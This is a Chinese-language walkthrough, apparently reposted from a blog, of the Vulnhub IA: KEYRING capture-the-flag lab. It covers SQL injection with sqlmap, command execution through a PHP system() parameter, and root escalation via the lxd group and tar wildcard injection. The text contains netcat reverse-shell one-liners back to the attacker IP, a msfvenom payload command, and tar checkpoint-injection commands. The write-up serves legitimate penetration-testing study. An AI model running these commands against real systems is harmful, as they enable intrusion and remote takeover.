程序笔记   发布时间:2022-07-02  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了Vulnhub 靶场 IA: KEYRING (1.0.1)大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

前期准备:

靶机地址:https://www.vulnhub.com/entry/ia-keyring-101,718/

kali攻击机ip:10.0.2.7 靶机ip:10.0.2.4

一、信息收集

1.使用nmap对目标靶机进行扫描

Vulnhub 靶场 IA: KEYRING (1.0.1)

发现开放了22和80端口。

2. 80端口

Vulnhub 靶场 IA: KEYRING (1.0.1)

说创建一个账户,那就创建一个账户登陆一下:

Vulnhub 靶场 IA: KEYRING (1.0.1)

查看一下系统,在 /control.php 页面发现提示:

Vulnhub 靶场 IA: KEYRING (1.0.1)

说有 HTTP Parameter Pollution(HTTP参数污染),扫一下目录看看:

Vulnhub 靶场 IA: KEYRING (1.0.1)

发现了个 /history.php 页面,查看一下,登录自己的账户访问时什么都没有,退出账户后提示:

Vulnhub 靶场 IA: KEYRING (1.0.1)

二、漏洞利用

结合上面提示的 HPP,推测后面应该有 user 参数或者能绕过,user=admin 试一下(登录账户状态):

Vulnhub 靶场 IA: KEYRING (1.0.1)

给了个网址,访问一下:

Vulnhub 靶场 IA: KEYRING (1.0.1)

发现是网站的源码,查看一下,在 /control.php 的源码中发现存在 system()函数,参数是 cmdcntr:

Vulnhub 靶场 IA: KEYRING (1.0.1)

Vulnhub 靶场 IA: KEYRING (1.0.1)

访问了一下发现不行,看源码应该要 admin 用户,回到 /history.php 页面,user=admin 可能存在注入,sqlmap注入一下:

sqlmap -u "http://10.0.2.4/history.php?user=admin" --cookie="PHPSESSID=sgt3vncdt12bda48g1djbok9hi" --dbs --batch

Vulnhub 靶场 IA: KEYRING (1.0.1)

记得加上 cookie:

Vulnhub 靶场 IA: KEYRING (1.0.1)

注入成功。查看一下 users 数据库中的表:

Vulnhub 靶场 IA: KEYRING (1.0.1)

看一下这两个表,在 details 表中发现了用户名和密码:

Vulnhub 靶场 IA: KEYRING (1.0.1)

admin:myadmin#p4szw0r4d john:Sup3r$S3cr3t$PasSW0RD

john 感觉是系统用户,ssh 连接一下:

Vulnhub 靶场 IA: KEYRING (1.0.1)

连接失败,那用 admin 账户登陆一下系统试试前面发现的 /control.php 页面下的 cmdcntr 参数:

Vulnhub 靶场 IA: KEYRING (1.0.1)

发现可以,简单查看一下:

Vulnhub 靶场 IA: KEYRING (1.0.1)

有 john 用户,但是没有权限访问,写个反弹 shell:

Vulnhub 靶场 IA: KEYRING (1.0.1)

记得 url 编码一下,访问并用 nc 连接:

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.0.2.7%201234%20%3E%2Ftmp%2Ff

Vulnhub 靶场 IA: KEYRING (1.0.1)

升级一下 shell:

Vulnhub 靶场 IA: KEYRING (1.0.1)

回车。

三、提权

查看一下系统内的文件和权限,没什么东西,想起来之前发现的 john 密码,切换成 john 用户:

Vulnhub 靶场 IA: KEYRING (1.0.1)

查看下 john 家目录下有没有信息:

Vulnhub 靶场 IA: KEYRING (1.0.1)

发现一个 flag 。

1.提权方法一

查看 id 是发现是 lxd 组的

Vulnhub 靶场 IA: KEYRING (1.0.1)

查看 lxc 发现可用,那就直接用 lxd 的提权漏洞

Vulnhub 靶场 IA: KEYRING (1.0.1)

查看下 46978.sh 文件:

Vulnhub 靶场 IA: KEYRING (1.0.1)

按照步骤来就行,先把 46978.sh 复制一下:

Vulnhub 靶场 IA: KEYRING (1.0.1)

然后下载 lxd-alpine-builder:

Vulnhub 靶场 IA: KEYRING (1.0.1)

./build-alpine 运行后会生成一个新的压缩文件:

Vulnhub 靶场 IA: KEYRING (1.0.1)

把新的压缩包和之前的 privilege.sh(46978.sh)文件传出到靶机中:

Vulnhub 靶场 IA: KEYRING (1.0.1)

提权并尝试运行一下 ./privilege.sh ,是用 -f 参数:

./privilege.sh -f alpine-v3.15-x86_64-20220106_1716.tar.gz

运行后就会把整个 root 复制到 /mnt 下:

Vulnhub 靶场 IA: KEYRING (1.0.1)

在 /mnt/root/root 下查看 flag:

Vulnhub 靶场 IA: KEYRING (1.0.1)

2.提权方法二

Vulnhub 靶场 IA: KEYRING (1.0.1)

在 john 目录下发现一个 compress 文件,下载下来查看一下:

Vulnhub 靶场 IA: KEYRING (1.0.1)

Vulnhub 靶场 IA: KEYRING (1.0.1)

发现会以 root 把 '' 压缩成 archive.tar 包,那我们可以利用 Tar 通配符注入(--checkpoint)来提权,然后运行 compress 文件:

用 msfvenom 写一个反弹 shell:

msfvenom -p cmd/unix/reverse_netcat lhost=10.0.2.7 lport=1235 R

Vulnhub 靶场 IA: KEYRING (1.0.1)

mkfifo /tmp/xdtpkhr; nc 10.0.2.7 1235 0</tmp/xdtpkhr | /bin/sh >/tmp/xdtpkhr 2>&1; rm /tmp/xdtpkhr

写入文件中然后赋予权限:

Vulnhub 靶场 IA: KEYRING (1.0.1)

echo "" > "--checkpoint-action=exec=sh shell.sh" echo "" > --checkpoint=1

Vulnhub 靶场 IA: KEYRING (1.0.1)

./compress 运行文件并 nc 监听:

Vulnhub 靶场 IA: KEYRING (1.0.1)

连接成功,查看 flag:

Vulnhub 靶场 IA: KEYRING (1.0.1)

完成。

大佬总结

以上是大佬教程为你收集整理的Vulnhub 靶场 IA: KEYRING (1.0.1)全部内容,希望文章能够帮你解决Vulnhub 靶场 IA: KEYRING (1.0.1)所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签: